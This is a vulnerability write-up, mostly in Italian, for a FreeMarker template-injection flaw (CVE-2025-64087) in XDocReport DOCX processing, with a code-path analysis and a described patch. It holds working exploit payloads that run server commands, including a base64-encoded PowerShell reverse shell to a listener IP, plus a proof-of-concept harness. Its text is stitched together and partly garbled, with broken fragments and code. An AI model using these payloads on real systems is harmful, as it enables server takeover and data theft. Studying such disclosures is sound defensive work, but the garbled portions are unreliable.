
CVE-2025-64087 (SSTI)
Panoramica della vulnerabilità
Server-Side Template Injection (SSTI) è una vulnerabilità di sicurezza web che consente a un attaccante di iniettare codice malevolo nei template utilizzati da sistemi di gestione dei contenuti (CMS) e framework web, al fine di eseguire attacchi remoti, ottenere informazioni sensibili o condurre attività di intrusione nel sistema.
SSTI è una variante delle vulnerabilità di Injection (come SQL Injection, XSS, ecc.), in cui un hacker sfrutta l'uso di sistemi di template per distribuire codice malevolo da remoto. Quando un attacco SSTI ha successo, l'attaccante può eseguire il proprio codice sul server lato server, permettendogli di eseguire attacchi remoti, come la raccolta di informazioni sensibili, lo svolgimento di attività di intrusione nel sistema e l'accesso a risorse non autorizzate.
La vulnerabilità SSTI si verifica spesso a causa dell'uso di sistemi di template non sicuri o della mancata verifica e gestione dei parametri di input prima di inserirli nei template. Se un attacco SSTI ha successo, le conseguenze possono essere gravi e causare danni significativi all'organizzazione colpita.
Impatto commerciale
La vulnerabilità SSTI può causare diverse conseguenze gravi, tra cui:
Esecuzione di codice malevolo: Un attaccante può sfruttare questa vulnerabilità per eseguire codice malevolo sul server, consentendo di rubare dati, compiere azioni illegali sul sistema o persino prendere il controllo completo del server.
Divulgazione di informazioni sensibili: SSTI può consentire a un attaccante di leggere, modificare o cancellare file sul server. Se questi file contengono informazioni sensibili, come account e password, l'attaccante può facilmente divulgarle.
Attacchi di minaccia o phishing agli utenti: Un attaccante può utilizzare SSTI per eseguire attacchi di minaccia o phishing agli utenti, modificando il contenuto del sito web o aggiungendo pulsanti falsi. Se l'utente clicca su questi pulsanti, l'attaccante può rubare informazioni dell'utente o installare software dannoso sul suo computer.
A Server-Side Template Injection (SSTI) vulnerability was found in OpenSAGRES XDocReport when processing DOCX templates with the FreeMarker engine. Under certain configurations, crafted templates can lead to Remote Code Execution (RCE).
Il sito web di gestione delle risorse umane consente agli utenti di caricare file .docx sul sistema. Durante l'elaborazione, l'applicazione utilizza il motore di template FreeMarker (nel file FreemarkerTemplateEngine.java) per renderizzare il contenuto ${"freemarker.template.utility.Execute"?new()("whoami")} senza alcun meccanismo di controllo o filtro del contenuto in input.
Questa vulnerabilità permette a un attaccante di iniettare espressioni malevole nel file .docx (template), portando a Remote Code Execution (RCE) sul server e può essere sfruttata per rubare informazioni o prendere il controllo del sistema.
fr.opensagres.xdocreport.template.freemarker — XDocReport (versions 1.0.0 through 2.1.0).
https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java non viene eseguita alcuna verifica del contenuto del file xdoc in input. Il contenuto del template viene caricato direttamente e passato a process(context, writer, template) per essere elaborato dal motore FreeMarker senza alcun meccanismo di sandboxing o limitazione di direttive/espressioni. Di conseguenza, un attaccante può fornire un template contenente espressioni/istruzioni FreeMarker malevole, portando all'esecuzione di codice remoto (RCE)..docx il cui contenuto è il seguente payload:```
${"freemarker.template.utility.Execute"?new()("calc")}
2. Si vede che può essere eseguito con successo e apre l'applicazione calc

3. Allo stesso modo, per ottenere le informazioni dell'utente in esecuzione sul sistema con il payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}
.docx, dopo l'elaborazione da parte del template engine, ha restituito i dati del sistema.


6. Aumentare l'impatto a RCE
- La macchina in ascolto è wsl con indirizzo IP `172.26.208.130`

- sfruttare con il seguente payload:
```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}
.docx attraverso xdocreport per elaborarloxdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java aggiungere i seguenti contenutiLa mia correzione permette ancora di renderizzare oggetti e proprietà normali come ${cuong.name} e blocca solo le built-in functions PERICOLOSE
${'freemarker.template.utility.Execute'?new()('calc')} - BLOCCATO da ALLOWS_NOTHING_RESOLVER${'java.lang.Runtime'?api.getRuntime()} - BLOCCATO da setAPIBuiltinEnabled(false)?new() e ?api sono bloccatiPercorso: template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java
Modifiche:
✅ Aggiunto import: java.util.regex.Pattern
✅ Aggiunto metodo validateTemplateSecurity(Reader reader) — Convalida pattern pericolosi
✅ Aggiornato processNoCache() — Aggiunta convalida prima di creare il Template
✅ Aggiornato process(String templateName, …) — Aggiunta convalida a questo metodo
Percorso: template/fr.opensagres.xdocreport.template.freemarker/src/test/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngineSecurityTestCase.java
Modifiche:
${"freemarker.template.utility.Execute"?new()("whoami")}?new, java.lang.Runtime, java.lang.ProcessBuilder, ecc.| File | Tipo di modifica | Scopo |
|---|---|---|
| FreemarkerTemplateEngine.java | Modificato | Aggiunta protezione SSTI |
| FreemarkerTemplateEngineSecurityTestCase.java | Nuovo file | Testa la logica di convalida |
Nella versione patch 2.2.0 è stato attivato il meccanismo di protezione e blocco SSTI con successo
import fr.opensagres.xdocreport.document.IXDocReport; import fr.opensagres.xdocreport.document.registry.XDocReportRegistry; import fr.opensagres.xdocreport.template.IContext; import fr.opensagres.xdocreport.template.TemplateEngineKind;
import java.io.*; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream;
public class Main {
public static void main(String[] args) {
try {
// Đọc file đầu vào chứa biểu thức Velocity
File docxTemplate = new File("C:\\Users\\HP\\Downloads\\vcspentest.docx"); // File đầu vào
InputStream input = new FileInputStream(docxTemplate);
// Load template sử dụng FreeMarker
IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
// Tạo context - có thể để trống nếu chỉ test biểu thức độc lập
IContext context = report.createContext();
// Xuất ra file mới
OutputStream out = new FileOutputStream(new File("C:\\Users\\HP\\Downloads\\results.docx"));
report.process(context, out);
System.out.println("✅ Đã tạo file result.docx thành công.");
} catch (Exception e) {
System.err.println("❌ Lỗi xử lý file:");
e.printStackTrace();
}
}
}
- Libreria da importare```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>vcs1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>18</maven.compiler.source>
<maven.compiler.target>18</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- Template engine: FreeMarker -->
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.template.freemarker</artifactId>
<version>2.1.0</version>
</dependency>
<dependency>
<groupId>fr.opensagres.xdocreport</groupId>
<artifactId>fr.opensagres.xdocreport.document.docx</artifactId>
<version>2.0.3</version>
</dependency>
</dependencies>
</project>
A Punto di partenza (entry points / sources)```java File docxTemplate = new File("C:\Users\HP\Downloads\vcspentest.docx");
→ source è questo file DOCX — se il file viene caricato/scritto dall'utente, il contenuto del template all'interno (sintassi FreeMarker) è un dato non affidabile.```
InputStream input = new FileInputStream(docxTemplate);
→ leggi il contenuto del file per inoltrarlo a XDocReport.```java IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);
- loadReport(...) analizzerà (parserà) il file DOCX, troverà l'entry/template nel DOCX e creerà un IXDocReport (al suo interno inizializzerà l'oggetto Template di FreeMarker o manterrà un reader per il template).
- Il contenuto del template nel file DOCX ora si trova nell'oggetto report (ancora non eseguito).


zipInputStream.getNextEntry() itera su ogni entry (ogni file) all'interno del ZIP (.docx).
archive = new XDocArchive(...) — se non esiste ancora un archive, inizializza un oggetto per organizzare/registrare gli entry del documento.

In sintesi: questa sezione decomprime il contenuto del DOCX in una struttura interna (XDocArchive) in modo che le parti successive possano accedere ai file secondari (document.xml,...).```java
private IXDocReport loadReport( InputStream sourceStream, String reportId, String templateEngineKind,
ITemplateEngine templateEngine, boolean cacheReport )
throws IOException, XDocReportException
{
initializeIfNeeded();
// 2) zip was loaded, create an instance of report
IXDocReport report = createReport( sourceStream );
// 3) Update the report id if need.
if ( StringUtils.isEmpty( reportId ) )
{
reportId = report.toString();
}
report.setId( reportId );
// 4) Search or set the template engine.
if ( templateEngine == null && StringUtils.isNotEmpty( templateEngineKind ) )
{
// Template engine was not forced.
// Search template engine
String documentKind = report.getKind();
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, documentKind );
if ( templateEngine == null )
{
templateEngine =
TemplateEngineInitializerRegistry.getRegistry().getTemplateEngine( templateEngineKind, null );
}
}
report.setTemplateEngine( templateEngine );
if ( cacheReport )
{
registerReport( report );
}
return report;
}
| Passo | Azione | Scopo |
|---|---|---|
| 1 | Leggere il file DOCX | Ottenere la struttura del report originale |
| 2 | Creare IXDocReport | Rappresentare il template |
| 3 | Assegnare ID | Gestione univoca |
| 4 | Scegliere il template engine | Per elaborare le espressioni (Freemarker/Velocity) |
| 5 | Cache se necessario | Ottimizzare le prestazioni |
| 6 | Restituire il report | Usato per renderizzare il file risultato |
In sintesi non esiste un meccanismo di controllo SSTI in IXDocReport report = XDocReportRegistry.getRegistry().loadReport(input, TemplateEngineKind.Freemarker);, ma vengono caricati solo i file xml all'interno del docx e viene restituito IXDocReport report già pronto per l'elaborazione (ad esempio render, merge dati…).
in report.process(context, out);
Approfondendo all'interno di questa funzione viene chiamato preprocess(...) che analizza l'XML, legge ogni entry XML, quindi fa il parsing del contenuto XML e crea un BufferedDocument, per poi scrivere in un Writer (questa è la versione XML già pre-elaborata).
```java
public boolean preprocess( String entryName, InputStream reader, Writer writer, FieldsMetadata fieldsMetadata,
IDocumentFormatter formatter, Map<String, Object> sharedContext )
throws XDocReportException, IOException
{
try
{
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
BufferedDocumentContentHandler<?> contentHandler =
createBufferedDocumentContentHandler( entryName, fieldsMetadata, formatter, sharedContext );
xmlReader.setContentHandler( contentHandler );
xmlReader.parse( new InputSource( reader ) );
BufferedDocument document = contentHandler.getBufferedDocument();
if ( document != null )
{
document.save( writer );
// StringWriter s = new StringWriter();
// document.save( s );
// System.err.println( s );
return true;
}
return false;
}
catch ( SAXException e )
{
throw new XDocReportException( e );
}
}

poi salta in `processNoCache()` e chiama `getReader()`


La funzione `getReader()` viene utilizzata per aggiungere un involucro di escape directive attorno all'intero template, per garantire che il contenuto venga elaborato in modo sicuro (escape HTML, evitare injection).

Template originale:```xml
<w:p>
<w:t>Hello ${name}!</w:t>
</w:p>
Dopo che getReader() elabora:```xml [#-- Hello ${name}! [/#escape][#--]]>--]
aiuta Freemarker engine a leggere in modo più sicuro:
- Protezione XML: Escape dei caratteri speciali in XML
- Elaborazione sicura: Evita errori quando Freemarker analizza il template
poi chiama `FMParser` per analizzare la sintassi di Freemarker

infine in `process()` chiama `environment.process();` e legge i dati```
public void process() throws TemplateException, IOException {
Object savedEnv = threadEnv.get();
threadEnv.set(this);
try {
// Cached values from a previous execution are possibly outdated.
clearCachedValues();
try {
doAutoImportsAndIncludes(this);
visit(getTemplate().getRootTreeNode());
// It's here as we must not flush if there was an exception.
if (getAutoFlush()) {
out.flush();
}
} finally {
// It's just to allow the GC to free memory...
clearCachedValues();
}
} finally {
threadEnv.set(savedEnv);
}
}
👉 Questo è il passo più importante — qui avviene effettivamente il rendering.
getTemplate() restituisce il template parsed (AST).
getRootTreeNode() è il nodo radice dell'albero sintattico creato da FMParser durante il parsing.
visit() è l'API principale di FreeMarker, usata per attraversare e renderizzare ogni elemento del template, ed è definita in freemarker.core.Environment
Incontra TextBlock → scrive il testo in output.
Incontra Interpolation (es. ${user.name}) → cerca nel dataModel, ottiene il valore, lo scrive in output.
Incontra #if, #list, #include, macro → esegue la logica corrispondente```java void visit(TemplateElement element) throws IOException, TemplateException { // ATTENTION: This method body is manually "inlined" into visit(TemplateElement[]); keep them in sync! pushElement(element); try { TemplateElement[] templateElementsToVisit = element.accept(this); if (templateElementsToVisit != null) { for (TemplateElement el : templateElementsToVisit) { if (el == null) { break; // Skip unused trailing buffer capacity } visit(el); } } } catch (TemplateException te) { handleTemplateException(te); } finally { popElement(); } // ATTENTION: This method body above is manually "inlined" into visit(TemplateElement[]); keep them in sync! }



si attiva su entryName `word/document.xml`

successivamente salta nella funzione `accept()`
```java
TemplateElement[] accept(Environment env) throws TemplateException, IOException {
final Object moOrStr = calculateInterpolatedStringOrMarkup(env);
final Writer out = env.getOut();
if (moOrStr instanceof String) {
final String s = (String) moOrStr;
if (autoEscape) {
markupOutputFormat.output(s, out);
} else {
out.write(s);
}
} else {
final TemplateMarkupOutputModel mo = (TemplateMarkupOutputModel) moOrStr;
final MarkupOutputFormat moOF = mo.getOutputFormat();
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
if (moOF == outputFormat) {
moOF.output(mo, out);
} else if (!outputFormat.isOutputFormatMixingAllowed()) {
final String srcPlainText;
// ATTENTION: Keep this logic in sync. ?esc/?noEsc's logic!
srcPlainText = moOF.getSourcePlainText(mo);
if (srcPlainText == null) {
throw new _TemplateModelException(escapedExpression,
"The value to print is in ", new _DelayedToString(moOF),
" format, which differs from the current output format, ",
new _DelayedToString(outputFormat), ". Format conversion wasn't possible.");
}
if (markupOutputFormat != null) {
markupOutputFormat.output(srcPlainText, out);
} else {
out.write(srcPlainText);
}
} else if (markupOutputFormat != null) {
markupOutputFormat.outputForeign(mo, out);
} else {
moOF.output(mo, out);
}
}
return null;
}
```java
final TemplateModel eval(Environment env) throws TemplateException {
try {
return constantValue != null ? constantValue : _eval(env);
} catch (FlowControlException | TemplateException e) {
throw e;
} catch (Exception e) {
if (env != null && EvalUtil.shouldWrapUncheckedException(e, env)) {
throw new _MiscTemplateException(
this, e, env, "Expression has thrown an unchecked exception; see the cause exception.");
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new UndeclaredThrowableException(e);
}
}
}









il flusso di esecuzione nella funzione `visit()` è il seguente```
visit(Interpolation) // gọi accept(...)
└─ Interpolation.accept(env)
└─ calculateInterpolatedStringOrMarkup(env)
└─ expression.eval(env)
└─ (đến _eval) target.eval(env) // trả TemplateMethodModel (built-in new()/Execute)
└─ targetMethod.exec(arguments) ← exec() thực thi -> chạy `calc` ← 💥 SSTI xảy ra ở đây
[User uploads DOCX template]
│
▼
┌──────────────────────────────────────────┐
│ XDocReportRegistry.loadReport(...) │
│ - Nhận InputStream (file .docx) │
│ - Xác định TemplateEngineKind=Freemarker│
│ - Gọi createReport(...) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FreemarkerTemplateEngine.loadTemplate() │
│ - Gọi new Template(templateName, Reader,│
│ Configuration) │
│ - => FMParser parse nội dung template │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ FMParser(this, reader, config) │
│ - Đọc nội dung file (XML trong DOCX) │
│ - Phân tích cú pháp │
│ Tạo AST (cây cú pháp): │
│ ├─ TextBlock ("Hello") │
│ ├─ DollarVariable (${name}) │
│ └─ FunctionCall (${Runtime.exec(...)})│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment env = │
│ template.createProcessingEnvironment() │
│ env.process() │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Environment.process() │
│ - clearCachedValues() │
│ - doAutoImportsAndIncludes() │
│ - visit(getTemplate().getRootTreeNode())│
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ visit(TemplateElement node) │
│ - node.accept(env) │
│ - Ghi kết quả ra writer (output stream) │
└──────────────────────────────────────────┘
│
▼
┌──────────────────────────────────────────┐
│ Nếu node là ${...} │
│ ⇒ ExpressionEvaluator được gọi │
│ ⇒ eval() biểu thức bên trong ${} │
│ ⇒ Có thể truy cập method Java nếu chưa │
│ bị sandbox hoặc hạn chế │
│ ⇒ Ví dụ: ${"freemarker.template.utility.Execute"?new()("calc.exe")} │
└──────────────────────────────────────────┘
│
▼
🚨 Kết quả: Server-Side Template Injection (SSTI)
## 🔍 **Riepilogo dei punti chiave sfruttabili**
| Fase | Livello | Ruolo | Rilevanza SSTI |
| ----------------------- | --------------------- | --------------------- | ------------------------- |
| `loadReport()` | `XDocReportRegistry` | Caricamento template | Input non controllato |
| `getReader()` | `TemplateEngine` | Lettura dati template | Può contenere payload |
| `FMParser` | `freemarker.core` | Analisi contenuto | Variabili `${}` analizzate|
| `Environment.process()` | `freemarker.core` | Render template | Chiama `visit()` per nodo |
| `visit()` / `eval()` | `freemarker.core` | Esecuzione espressioni| **Punto SSTI / RCE** |
---
## Documentazione
- https://drive.google.com/drive/folders/1XYFtxs5O3SMW0FemNMZ_1ft1ueFixhVz?usp=drive_link